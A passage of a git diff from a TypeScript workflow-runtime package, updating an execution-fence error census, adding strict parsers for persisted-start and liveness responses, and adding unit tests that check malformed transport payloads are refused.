effectBoundary: + 'A legacy terminal observation cannot clear an existing recovery journal or its canonical record through ordinary cleanup, even after a successful resumed operation.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: + 'if (stored.startReservation && !scope.init.runtime.startIdempotency)', + effectBoundary: + 'Captured keyed recovery refuses missing store wiring before any phase can settle H-owned bookkeeping or erase its original claim journal.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'const journal = await options', + effectBoundary: + 'After a legacy termination transition, a present journal blocks ordinary cleanup rather than inventing modern settlement authority; the durable transition may already have completed.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'cleanup.scheduleDispatch?.dispatchId !==', + effectBoundary: + 'A selected legacy cleanup descriptor must agree with the authorized transition before approval, dispatch, owner or completion effects; a mismatched observation cannot retarget cleanup.', + }, + { + file: 'do-runner/durable-object.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'async #finishRunOwner(', + effectBoundary: + 'Keyed workflow finalization refuses a missing reservation store before settlement, owner bookkeeping and journal clearing, even when the selected outcome is nonterminal.', + }, + { + file: 'do-runner/durable-object.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'async #recoverRunOwner(', + effectBoundary: + 'Every workflow journal phase requires its configured claim store before recovery bookkeeping or Runtime recovery; this refusal retains the journal and grants no rollback.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: "if (stored.phase === 'prepared' && !localZero()) {", + effectBoundary: + 'Prepared absence without local zero evidence retains the journal and record after H-only rollback; it cannot authorize another engine entry or prove earlier effects absent.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: + 'await options.resourceAccess().settleReservation(stored.token, release);', + effectBoundary: + 'The final local-zero check refuses journal deletion if owning evidence changed during bookkeeping; completed rollback operations do not prove earlier execution absent.', + }, + { + file: 'do-runner/durable-object.ts', + error: 'ExecutionFenceUnreadableError', + anchor: "if (recovery.phase === 'prepared' && !localZero()) {", + effectBoundary: + 'Prepared absence retains the workflow journal after exact H rollback unless the current own catch proves a matching zero insert; unknown earlier effects never permit a retry.', + }, { file: 'approval-api/service.ts', error: 'ExecutionFencedError', anchor: 'async #assertDecidable', - beforeExecutionEffect: + effectBoundary: 'The admission check runs before decide() mutates the approval or resumes its run.', }, + { + file: 'approval-api/service.ts', + error: 'ExecutionFencedError', + anchor: "if (fence === 'none')", + effectBoundary: + 'A retained proof expectation without its fence refuses before committing an approval decision or resuming execution.', + }, + { + file: 'approval-api/service.ts', + error: 'ExecutionFencedError', + anchor: 'const current = await fence.readCurrentRunExecution(execution);', + effectBoundary: + 'After approval and separation-of-duty reads, the original generation must still match before the decision CAS or resume.', + }, { file: 'background-tasks/host.ts', error: 'ExecutionFencedError', anchor: '#gated(executor', - beforeExecutionEffect: + effectBoundary: 'The executor backstop refuses before calling a tool body when core supplies no suspension seam.', }, { file: 'background-tasks/host.ts', error: 'ExecutionFencedError', anchor: 'async enqueue(', - beforeExecutionEffect: + effectBoundary: 'The enqueue admission check runs before the manager creates a queued task row.', }, { file: 'do-runner/durable-object.ts', error: 'ExecutionFencedError', anchor: 'const startFence =', - beforeExecutionEffect: - 'The start route refuses before source lookup, recovery journalling, owner reservation, or runtime start.', - }, - { - file: 'do-runner/durable-object.ts', - error: 'ExecutionFencedError', - anchor: 'const resumeFence =', - beforeExecutionEffect: - 'The resume route refuses before handing the existing run to runtime.resume().', + effectBoundary: + 'The authenticated start preflight refuses before recovery journalling, owner reservation, or Runtime execution admission.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFencedError', anchor: 'export function executionFencedResponse', - beforeExecutionEffect: + effectBoundary: 'The response helper only serializes an already-decided refusal and performs no execution effect.', }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'const execution = normalizeD1RunExecutionIdentity({', + effectBoundary: + 'Malformed selected proof snapshots cannot supply generation authority; this reader performs no writes or engine entry.', + }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'returned.raw.proof_start_token !== null', + effectBoundary: + 'A legacy proof setter cannot acknowledge modern generation metadata; this post-write decoder grants no execution or rollback authority.', + }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'returned.raw.updated_at !== expectedTime', + effectBoundary: + 'Unexpected nomination RETURNING data refuses acknowledgement after a possible metadata write; it never enters an engine or proves no effects.', + }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (validateReturned(converged)) return true;', + effectBoundary: + 'A lost nomination response without exact single-query convergence remains unreadable; the possible metadata write cannot authorize engine entry.', + }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (cause instanceof ExecutionFenceUnreadableError) throw cause;', + effectBoundary: + 'The guarded nomination boundary preserves unreadable snapshot, reservation or fence observations without running execution or manufacturing write absence.', + }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', anchor: 'async readForAdmission():', - beforeExecutionEffect: + effectBoundary: 'The pure current-schema observation rejects missing or malformed metadata before engine entry; diagnostic/readback callers may follow a durable initial admission, so this error alone proves no absence.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', anchor: 'if (stored.schemaStage > stage)', - beforeExecutionEffect: + effectBoundary: 'Fence-row validation fails closed before any caller can admit execution.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', anchor: 'async #initialize(', - beforeExecutionEffect: + effectBoundary: 'Initialization validates administrative metadata without admitting execution.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', anchor: '#decodeReturned(result:', - beforeExecutionEffect: + effectBoundary: 'A malformed metadata-write result refuses before a caller can admit execution.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', anchor: 'if (receipt !== null)', - beforeExecutionEffect: + effectBoundary: 'An uncertain administrative CAS does not execute a run or schedule.', }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', anchor: "reading?.state === 'proof-only'", - beforeExecutionEffect: + effectBoundary: 'A failed proof-binding metadata write becomes unreadable before the runtime starts the run.', }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFenceUnreadableError', anchor: 'function terminalizationUnreadable(', - beforeExecutionEffect: + effectBoundary: 'Explicit initial-row terminalization never enters an engine or grants no-insert authority; malformed input observations or uncertain terminal writes refuse through this fixed operation boundary without replay.', }, { file: 'do-runner/run-provenance.ts', error: 'ExecutionFenceUnreadableError', anchor: 'const counts = decodeResumeCounts(resumeCounts);', - beforeExecutionEffect: + effectBoundary: 'The progress decoder validates only owned metadata and performs no I/O or execution. A retained admission stamp never proves unchanged bytes or no effects, and decoding failures cannot grant definitive-zero evidence.', }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFenceUnreadableError', anchor: 'if (!scope.witness) {', - beforeExecutionEffect: + effectBoundary: 'A createRun callback without a positive persistence witness cannot enter the engine; another domain or swallowed failure may already have written, so missing witness gives no definitive-zero authority.', }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFenceUnreadableError', anchor: 'if (await this.#converged(', - beforeExecutionEffect: + effectBoundary: 'A thrown batch with no exact converged readback blocks engine entry; the batch may already have committed durable admission and this uncertain refusal cannot authorize retry or journal clearing.', }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFenceUnreadableError', anchor: '} else if (proofRows.length !== 0)', - beforeExecutionEffect: + effectBoundary: 'Malformed returned batch data blocks engine entry after a possible committed initial INSERT; no recovery read or missing-result assumption upgrades it to success or definitive zero.', }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFencedError', anchor: 'const proofSlotUnbound =', - beforeExecutionEffect: + effectBoundary: 'After a validated all-zero chained batch, the current state/key/round diagnostic explains refusal before engine entry; the SQL result, not this JavaScript predicate, establishes no initial write.', }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFenceUnreadableError', anchor: "error.reason?.code === 'MUTATION_EPOCH_MISMATCH'", - beforeExecutionEffect: + effectBoundary: 'An unreadable post-zero diagnostic blocks engine entry while preserving the already validated all-zero result; failed observation alone would not establish absence of durable admission.', }, { file: 'do-runner/workflow-snapshot-row.ts', error: 'ExecutionFenceUnreadableError', anchor: 'export async function readRawWorkflowSnapshot(', - beforeExecutionEffect: + effectBoundary: 'The exact reader performs no writes and refuses malformed or unavailable rows before its caller enters the engine; admission readback may follow an already committed initial row and does not prove no write.', }, { file: 'do-runner/run-provenance.ts', error: 'ExecutionFenceUnreadableError', anchor: 'export function decodeRunStartIdentity(', - beforeExecutionEffect: + effectBoundary: 'The role-neutral provenance decoder performs no storage or execution and rejects malformed owned identity before callers can use it to authorize engine entry.', }, { file: 'do-runner/run-provenance.ts', error: 'ExecutionFenceUnreadableError', anchor: 'resumeCounts: Object.freeze([]) as readonly [],', - beforeExecutionEffect: + effectBoundary: 'The initial provenance decoder validates before engine entry; callers can use it on a returned or read-back initial row, so decoder failure does not establish absence of durable admission.', }, { file: 'do-runner/runtime.ts', error: 'ExecutionFencedError', anchor: 'if (!admitsRunStart(reading, idempotencyKey))', - beforeExecutionEffect: + effectBoundary: 'The start admission check refuses before proof binding and engine run creation.', }, { file: 'do-runner/runtime.ts', error: 'ExecutionFencedError', - anchor: 'if (!(await fence.recordProofRun', - beforeExecutionEffect: - 'A lost proof-binding compare-and-set refuses while engine run creation has not begun.', + anchor: "if (reading.state === 'migration-locked')", + effectBoundary: + 'The Runtime refuses every migration-locked resume before engine preparation or execution.', }, { file: 'do-runner/runtime.ts', error: 'ExecutionFencedError', - anchor: 'async #assertResumeFence', - beforeExecutionEffect: + anchor: + 'const state = await this.authoritativeStartState(workflowId, runId);', + effectBoundary: 'The resume admission check refuses before the engine continues the existing run.', }, + { + file: 'do-runner/runtime.ts', + error: 'ExecutionFencedError', + anchor: '(proof && (!execution || !sameExecution(proof, execution)))', + effectBoundary: + 'After preparation waits, the original generation and current admission must still agree before synchronous engine resume.', + }, + { + file: 'do-runner/runtime.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (claim && !this.#startIdempotency)', + effectBoundary: + 'Missing reservation wiring refuses owning recovery before selecting or terminalizing the pending generation; the journal remains unresolved.', + }, + { + file: 'do-runner/runtime.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'cause instanceof RunStateUnreadableError', + effectBoundary: + 'Owning recovery failures remain unresolved after possible terminalization or settlement; recovery never runs an engine and this error grants no rollback.', + }, + { + file: 'do-runner/runtime.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (!identity || !this.#startIdempotency)', + effectBoundary: + 'Strict terminal settlement requires the original logical owner and configured store before managed hosts can clear journals or ownership.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: 'runtime.executionFence !== scope.init.executionFence', + effectBoundary: + 'Proof-only signal delivery requires an actual Runtime-driven wrapper and the same fence before any route effect.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: 'if (runId === undefined)', + effectBoundary: + 'An idle thread cannot claim existing proof execution or persist a new signal through the active-run route.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: '!admitsExistingRun(executionFence, execution)', + effectBoundary: + 'The actual wrapper generation must match the nominated physical execution before delivery or durable signal mutation.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: 'const assertActive = (expected = admitted) => {', + effectBoundary: + 'An immediate active-run comparison prevents Core from selecting another run after an awaited generation check and before route effects.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: "{ state: 'proof-only', proofExecution: expected },", + effectBoundary: + 'A replacement generation after application awaits refuses the next signal effect while retaining the original admitted execution.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: "if (options.executionFence.state === 'proof-only')", + effectBoundary: + 'A fenced wake response propagates before notification failure bookkeeping; prior admitted effects are not claimed absent or rolled back.', + }, + { + file: 'signals/thread-do-routes.ts', + error: 'ExecutionFencedError', + anchor: "if (fence.state === 'proof-only' && admitted === undefined)", + effectBoundary: + 'Serialized wake requires its captured current generation before active delivery or any idle persistence and start path.', + }, { file: 'signal-providers/host-do.ts', error: 'ExecutionFencedError', anchor: 'async poll(): Promise', - beforeExecutionEffect: + effectBoundary: 'The poll admission check refuses before any provider is polled or notification is delivered.', }, ]; @@ -1628,7 +2115,7 @@ function anchorDistanceBeforeAuthor( } function siteKey(site: GateSite): string { - return `${site.file} :: ${site.predicate} :: ${site.sql ?? 'predicate'}`; + return `${site.file} :: ${site.predicate} :: ${site.sql ?? site.delegate ?? 'predicate'}`; } describe('execution-entry matrix', () => { @@ -1638,7 +2125,7 @@ describe('execution-entry matrix', () => { 'do-runner/thread-do.ts', 'agent-host/thread-host.ts', 'agent-runner/durable-agent-runner.ts', - ])('C transport entry keeps activation APIs dormant: %s', (file) => { + ])('D3 execution entry has no weak reservation or proof calls: %s', (file) => { const source = sourceFileSystem().readFileSync( `${sourceRoot()}/${file}`, 'utf8', @@ -1651,10 +2138,9 @@ describe('execution-entry matrix', () => { ); const calls: string[] = []; const forbidden = new Set([ - 'assertMutationEpoch', - 'withInitialAdmission', - 'terminalizeInitialAdmission', - 'onPreparedStartIdentity', + 'rollbackFencedStart', + 'recordProofRun', + 'settleRun', ]); const visit = (node: ts.Node): void => { if (ts.isCallExpression(node)) { @@ -1672,6 +2158,38 @@ describe('execution-entry matrix', () => { expect(calls).toEqual([]); }); + describe('predicate admission source census', () => { + const file = 'entry.ts'; + it.each([ + ['admitsExistingRun(reading, execution)', undefined], + ['fence.admitsExistingRun(reading, execution)', undefined], + [ + 'runtime.assertExistingRunAllowed(workflowId, runId)', + 'assertExistingRunAllowed', + ], + ['options.proof?.capture(runId)', 'proof.capture'], + ] as const)('finds the actual call: %s', (source, delegate) => { + expect(predicateCallSites({ file, source })).toEqual([ + { + file, + predicate: 'admitsExistingRun', + ...(delegate === undefined ? {} : { delegate }), + }, + ]); + }); + + it.each([ + '// admitsExistingRun(reading, execution)', + '/* admitsExistingRun(reading, execution) */', + '"admitsExistingRun(reading, execution)"', + 'function admitsExistingRun(reading, execution) {}', + 'const gate = admitsExistingRun;', + 'options.capture(runId)', + ])('does not invent a gate from %s', (source) => { + expect(predicateCallSites({ file, source })).toEqual([]); + }); + }); + describe('SQL admission source census', () => { const fenceTable = `\${EXECUTION_FENCE_TABLE}`; const insert = `INSERT INTO \${snapshotTable}`; @@ -1729,14 +2247,14 @@ describe('execution-entry matrix', () => { expect(sqlAdmissionSites({ file: sqlSite.file, source })).toEqual([]); }); - it('counts every SQL occurrence and scans files excluded only from JavaScript discovery', () => { - const excluded = { - file: NOT_GATE_FILES[0] as string, - source: `${guardedPrepare}; admitsRunStart(reading, key);`, + it('counts every SQL occurrence independently of predicate declarations', () => { + const definition = { + file: 'do-runner/execution-fence.ts', + source: `${guardedPrepare}; export function admitsRunStart(reading, key) {}`, }; - expect(predicateCallSites(excluded)).toEqual([]); - expect(sqlAdmissionSites(excluded)).toEqual([ - { ...sqlSite, file: excluded.file }, + expect(predicateCallSites(definition)).toEqual([]); + expect(sqlAdmissionSites(definition)).toEqual([ + { ...sqlSite, file: definition.file }, ]); const sites = [ { file: sqlSite.file, source: `${guardedPrepare}; ${guardedPrepare};` }, @@ -1790,7 +2308,7 @@ describe('execution-entry matrix', () => { ]); }); - it('accounts for every production fence-error author, with a recorded pre-execution justification', () => { + it('accounts for every production fence-error author, with a recorded effect-boundary justification', () => { expect( fenceErrorCensusViolations(), 'fence-error construction must stay visible to the lexical census', @@ -1825,8 +2343,8 @@ describe('execution-entry matrix', () => { `${author.file} :: ${author.error} :: ${author.anchor} must anchor one author site`, ).toHaveLength(1); expect( - author.beforeExecutionEffect.length, - `${author.file} :: ${author.error} :: ${author.anchor} needs a substantive pre-execution justification`, + author.effectBoundary.length, + `${author.file} :: ${author.error} :: ${author.anchor} needs a substantive effect-boundary justification`, ).toBeGreaterThan(40); } }); @@ -1931,13 +2449,8 @@ describe('execution-entry matrix', () => { next: 'proof-only', proofKey: PROOF_KEY, }); - if ( - prepared.nomination !== undefined && - entry.predicate === 'admitsExistingRun' - ) { - // For work on an EXISTING run the nomination is the run itself, bound - // the way an admitted proof-only start binds it. - await fence.recordProofRun(PROOF_KEY, prepared.nomination); + if (typeof prepared.nomination === 'object') { + await nominateExistingExecution(fence, database, prepared.nomination); } const reading = await fence.read(); const expected = admits(entry.predicate, reading, prepared.nomination) @@ -1948,7 +2461,9 @@ describe('execution-entry matrix', () => { // without is refused however it is driven, which is the whole meaning of // "nothing nominates authoring or queued execution". expect(await prepared.invoke(true)).toBe(expected); - if (prepared.nomination === undefined) expect(expected).toBe('refused'); + expect(expected).toBe( + prepared.nomination === undefined ? 'refused' : 'admitted', + ); }); } }); diff --git a/packages/flowsafe/src/host-kit/do-response.ts b/packages/flowsafe/src/host-kit/do-response.ts index 64a28989..659aba4f 100644 --- a/packages/flowsafe/src/host-kit/do-response.ts +++ b/packages/flowsafe/src/host-kit/do-response.ts @@ -6,7 +6,17 @@ // 404/409/400, so a non-ok answer must carry that status through the run // router's error mapping rather than collapse into a generic 500. +import { + isExecutionPrincipalId, + isExecutionPrincipalKind, +} from '../approval-api/principal.js'; +import { + normalizeStartExecutionIdentity, + type StartExecutionIdentity, +} from '../do-runner/execution-admission.js'; import type { RunSummary } from '../do-runner/index.js'; +import { isRunStatus } from '../do-runner/run-terminal-state.js'; +import type { PersistedStartResult } from '../do-runner/start-idempotency.js'; import { RunRouteError } from './run-route-error.js'; /** The subset of a DO fetch Response this reader touches. */ @@ -16,6 +26,27 @@ export interface DoResponseLike { json(): Promise; } +/** @internal */ +export async function doStartLiveness( + response: DoResponseLike, +): Promise { + try { + if (response.status !== 200) throw new Error('unexpected status'); + const payload = await response.json(); + if ( + payload === null || + typeof payload !== 'object' || + Array.isArray(payload) + ) + throw new Error('invalid liveness'); + const live = Object.getOwnPropertyDescriptor(payload, 'live')?.value; + if (typeof live !== 'boolean') throw new Error('invalid liveness'); + return live; + } catch { + throw new RunRouteError(503, 'run start liveness is not readable'); + } +} + /** * Parse a DO response as a RunSummary, translating a non-ok answer into a * RunRouteError carrying the DO's own status and message. @@ -37,3 +68,202 @@ export async function doSummary(response: DoResponseLike): Promise { } return payload as RunSummary; } + +const EXECUTION_AUTHORITY_FIELDS = new Set([ + 'execution', + 'startIdentity', + 'startReservation', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + 'mutationEpoch', + 'agentStart', + 'tablePrefix', + 'initialAdmission', + 'resumeCounts', + 'requestContext', + 'snapshot', + 'provenance', + 'raw', + 'flowsafe.runProvenance', + 'flowsafe.runLifecycle', +]); + +/** @internal Strict private transport objects never invoke accessors. */ +export function persistedStartRecord(value: unknown): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) { + throw new RunRouteError(503, 'persisted start is not readable'); + } + const result: Record = Object.create(null); + for (const [key, descriptor] of Object.entries( + Object.getOwnPropertyDescriptors(value), + )) { + if (!('value' in descriptor)) { + throw new RunRouteError(503, 'persisted start is not readable'); + } + result[key] = descriptor.value; + } + return result; +} + +/** @internal Canonical complete identity for protected replay only. */ +export function persistedStartExecution( + value: unknown, +): StartExecutionIdentity { + const source = persistedStartRecord(value); + const owner = persistedStartRecord(source.owner); + const target = persistedStartRecord(source.target); + const execution = normalizeStartExecutionIdentity({ + ...source, + owner, + target, + }); + if (execution.tablePrefix !== source.tablePrefix) { + throw new RunRouteError(503, 'persisted start is not readable'); + } + return execution; +} + +/** @internal Project only public structure; application payloads remain opaque. */ +export function publicStartFields( + value: unknown, + keys: readonly string[], +): Record { + const source = persistedStartRecord(value); + if (Object.keys(source).some((key) => EXECUTION_AUTHORITY_FIELDS.has(key))) { + throw new RunRouteError(503, 'persisted start is not readable'); + } + return Object.fromEntries( + keys + .filter((key) => Object.hasOwn(source, key)) + .map((key) => [key, source[key]]), + ); +} + +/** @internal The same projection is used by private producers and consumers. */ +export function publicRunSummary(value: unknown, runId: string): RunSummary { + const summary = publicStartFields(value, [ + 'runId', + 'status', + 'requestedBy', + 'requestedByKind', + 'result', + 'error', + 'errorEnvelope', + 'deadlineAt', + 'suspended', + 'suspendPayload', + 'suspendedAt', + 'resumedAt', + 'resumeCount', + 'createdAt', + 'updatedAt', + ]); + const invalid = (): never => { + throw new RunRouteError(503, 'persisted start is not readable'); + }; + if ( + summary.runId !== runId || + !isRunStatus(summary.status) || + summary.status === 'pending' + ) + invalid(); + if ( + (summary.requestedBy !== undefined || + summary.requestedByKind !== undefined) && + (!isExecutionPrincipalId(summary.requestedBy) || + !isExecutionPrincipalKind(summary.requestedByKind)) + ) + invalid(); + for (const key of ['error', 'createdAt', 'updatedAt']) { + if (summary[key] !== undefined && typeof summary[key] !== 'string') + invalid(); + } + if ( + summary.deadlineAt !== undefined && + (typeof summary.deadlineAt !== 'number' || + !Number.isFinite(summary.deadlineAt)) + ) + invalid(); + if ( + summary.suspended !== undefined && + (!Array.isArray(summary.suspended) || + summary.suspended.some( + (path) => + !Array.isArray(path) || path.some((part) => typeof part !== 'string'), + )) + ) + invalid(); + for (const key of ['suspendedAt', 'resumedAt', 'resumeCount']) { + if (summary[key] === undefined) continue; + const map = persistedStartRecord(summary[key]); + if ( + Object.values(map).some( + (item) => + typeof item !== 'number' || + !Number.isFinite(item) || + (key === 'resumeCount' && (!Number.isSafeInteger(item) || item < 0)), + ) + ) + invalid(); + summary[key] = { ...map }; + } + if (summary.errorEnvelope !== undefined) { + const error = persistedStartRecord(summary.errorEnvelope); + if ( + (error.code !== 'CANCELLED' && error.code !== 'TIMED_OUT') || + typeof error.message !== 'string' + ) + invalid(); + summary.errorEnvelope = { code: error.code, message: error.message }; + } + return summary as unknown as RunSummary; +} + +export async function doPersistedStart( + response: DoResponseLike, + expected: { workflowId: string; runId: string }, +): Promise> { + if (!response.ok) { + let payload: unknown; + try { + payload = await response.json(); + } catch { + /* Preserve the status-only fallback. */ + } + const error = + payload !== null && typeof payload === 'object' + ? (payload as { error?: unknown; reason?: unknown }) + : undefined; + throw new RunRouteError( + response.status, + typeof error?.error === 'string' + ? error.error + : `run request failed with status ${response.status}`, + error?.reason, + ); + } + try { + const payload = persistedStartRecord(await response.json()); + const execution = persistedStartExecution(payload.execution); + if ( + execution.workflowId !== expected.workflowId || + execution.runId !== expected.runId || + execution.target.kind !== 'workflow' || + execution.target.id !== expected.workflowId + ) + throw new Error('selector mismatch'); + if (payload.kind === 'initial' && !Object.hasOwn(payload, 'value')) + return { kind: 'initial', execution }; + if (payload.kind !== 'result' || !Object.hasOwn(payload, 'value')) + throw new Error('invalid result'); + return { + kind: 'result', + execution, + value: publicRunSummary(payload.value, expected.runId), + }; + } catch { + throw new RunRouteError(503, 'persisted start is not readable'); + } +} diff --git a/packages/flowsafe/src/host-kit/do-run-topology.test.ts b/packages/flowsafe/src/host-kit/do-run-topology.test.ts index 26a09e3f..0e3a7036 100644 --- a/packages/flowsafe/src/host-kit/do-run-topology.test.ts +++ b/packages/flowsafe/src/host-kit/do-run-topology.test.ts @@ -1,11 +1,15 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { + beginIdempotentStart, EXECUTION_PRINCIPAL_HEADER, InvalidMutationEpochError, MUTATION_EPOCH_HEADER, MutationEpochMismatchError, + type StartIdempotencyDatabase, + StartIdempotencyStore, } from '../do-runner/index.js'; import { createDoRunTopology, @@ -13,6 +17,7 @@ import { type DoRunTopology, type RunnerNamespaceLike, } from './do-run-topology.js'; +import { RunRouteError } from './run-route-error.js'; const DEPLOYMENT_IDENTITY_SECRET = 'test-deployment-identity-secret-0001'; @@ -152,6 +157,7 @@ describe('createDoRunTopology', () => { start: async () => summary, status: async () => summary, dispatchStatus: async () => summary, + persistedStart: async () => undefined, startLiveness: async () => false, resume: async () => summary, resumeRecord: async () => summary, @@ -236,3 +242,369 @@ describe('createDoRunTopology', () => { expect(namespace.idFromName).not.toHaveBeenCalled(); }); }); + +describe('FS8 D3 workflow reclaim liveness transport', () => { + async function retry( + liveness: () => Promise, + state: 'reserved' | 'started' = 'reserved', + ) { + const sqlite = openSqlite(); + const store = new StartIdempotencyStore( + sqliteUnitDatabase(sqlite) as StartIdempotencyDatabase, + { now: () => 1_000 }, + ); + const request = { + key: 'retained-key', + owner: { kind: 'human' as const, id: 'operator-1' }, + targetKind: 'workflow' as const, + targetId: 'workflow-1', + mintRunId: () => 'retained-run', + }; + const { reservation } = await store.reserve(request); + if (state === 'started') await store.claimReservation(reservation); + const before = sqlite + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(); + const claim = vi.spyOn(store, 'claimReservation'); + const fetch = vi.fn(async (url: string) => { + if (url.endsWith('/start-liveness')) return liveness(); + return Response.json({ error: 'run not found' }, { status: 404 }); + }); + const topology = createDoRunTopology( + { idFromName: (name: string) => name, get: () => ({ fetch }) }, + DEPLOYMENT_IDENTITY_SECRET, + ); + const outcome = await beginIdempotentStart(store, request, { + persisted: (row) => topology.persistedStart(row.targetId, row.runId), + live: (row) => topology.startLiveness(row.targetId, row.runId), + }).catch((error: unknown) => error); + const after = sqlite + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(); + return { claim, before, after, outcome, fetch }; + } + + it.each([ + true, + false, + ])('uses an explicit boolean %s from the addressed run', async (live) => { + const h = await retry(async () => Response.json({ live })); + expect(h.fetch).toHaveBeenCalledWith( + 'http://do/runs/workflow-1/retained-run/start-liveness', + expect.objectContaining({ headers: expect.any(Object) }), + ); + if (live) { + expect(h.outcome).toMatchObject({ + reason: { code: 'IDEMPOTENT_START_PENDING' }, + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + } else { + expect(h.outcome).toMatchObject({ + kind: 'start', + reservation: { runId: 'retained-run' }, + }); + expect(h.claim).toHaveBeenCalledOnce(); + expect(h.after[0]).toMatchObject({ state: 'started', updated_at: 1_001 }); + } + }); + + const malformed: Array<[string, unknown]> = [ + ['missing', {}], + ['null', null], + ['primitive', false], + ['array', Object.assign([], { live: false })], + ['inherited', Object.create({ live: false })], + ['undefined', { live: undefined }], + ['null field', { live: null }], + ['zero', { live: 0 }], + ['empty string', { live: '' }], + ['false string', { live: 'false' }], + ['true string', { live: 'true' }], + ]; + it.each( + malformed.flatMap(([name, payload]) => + (['reserved', 'started'] as const).map((state) => ({ + name, + payload, + state, + })), + ), + )('refuses $name liveness for a $state row without claiming', async ({ + payload, + state, + }) => { + const h = await retry(async () => { + const response = Response.json({}); + vi.spyOn(response, 'json').mockResolvedValue(payload); + return response; + }, state); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + }); + + it.each([ + 201, 400, 404, 503, + ])('refuses HTTP %s liveness without claiming', async (status) => { + const h = await retry(async () => + Response.json( + { live: false, error: 'private transport detail' }, + { status }, + ), + ); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + }); + + it('refuses a liveness accessor without invoking it or claiming', async () => { + const live = vi.fn(() => false); + const h = await retry(async () => { + const response = Response.json({}); + vi.spyOn(response, 'json').mockResolvedValue( + Object.defineProperty({}, 'live', { get: live }), + ); + return response; + }); + expect(live).not.toHaveBeenCalled(); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + }); + + it('refuses invalid liveness JSON without claiming', async () => { + const h = await retry(async () => new Response('{')); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + }); + + it('propagates a thrown liveness fetch without claiming', async () => { + const failure = new Error('liveness fetch failed'); + const h = await retry(async () => { + throw failure; + }); + expect(h.outcome).toBe(failure); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + }); +}); + +describe('FS8 D3 protected replay workflow transport', () => { + const execution = { + tablePrefix: 'selected_', + workflowId: 'workflow-1', + runId: 'run-1', + startToken: 'generation-1', + owner: { kind: 'human', id: 'actor-1' }, + target: { kind: 'workflow', id: 'workflow-1' }, + }; + const value = { + runId: 'run-1', + status: 'success', + result: { startToken: 'application-value' }, + }; + function topologyFor(payload: unknown, status = 200) { + const fetch = vi.fn(async () => Response.json(payload, { status })); + return { + fetch, + topology: createDoRunTopology( + { idFromName: (name: string) => name, get: () => ({ fetch }) }, + DEPLOYMENT_IDENTITY_SECRET, + ), + }; + } + + it('uses the private authenticated scalar replay route and keeps initial distinct', async () => { + const { topology, fetch } = topologyFor({ kind: 'initial', execution }); + await expect( + topology.persistedStart('workflow-1', 'run-1'), + ).resolves.toEqual({ kind: 'initial', execution }); + expect(fetch).toHaveBeenCalledWith( + 'http://do/runs/workflow-1/run-1?replay=1', + expect.objectContaining({ headers: expect.any(Object) }), + ); + }); + + it('projects a 